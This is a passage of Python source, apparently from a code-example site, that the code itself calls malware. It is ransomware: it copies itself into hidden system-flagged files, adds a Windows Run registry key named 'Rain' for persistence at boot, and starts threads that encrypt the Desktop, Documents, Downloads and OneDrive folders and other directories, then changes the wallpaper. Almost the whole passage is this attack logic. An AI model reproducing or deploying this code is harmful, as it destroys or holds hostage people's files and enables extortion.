Exemplo n.º 1
0
    dst = r'C:\Users\Public\{}'.format(argv[0])
    command = f'attrib +s +h {dst}'
    copyfile(argv[0], dst)
    system(command)
except PermissionError:
    try:
        dst = r'C:\{}'.format(argv[0])
        command = f'attrib +s +h {dst}'
        copyfile(argv[0], dst)
        system(command)
    except PermissionError:
        command = f'attrib +s +h {dst}'
        system(command)

# Creating a registry in the machine keys so that the malware is booted with the system
crypter.registry_key(r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                     f'"{dst}"', 'Rain')

# Instantiating Threads so that directories are encrypted simultaneously
c_desktop = Thread(target=crypter.crypt_directory, args=[desktop])
c_documents = Thread(target=crypter.crypt_directory, args=[documents])
c_downloads = Thread(target=crypter.crypt_directory, args=[downloads])
c_onedrive = Thread(target=crypter.crypt_directory, args=[onedrive])
c_all = Thread(target=crypt_all)

crypter.change_background('../../files/wallpaper.jpg')

c_desktop.start()
c_documents.start()
c_downloads.start()
c_onedrive.start()
c_all.start()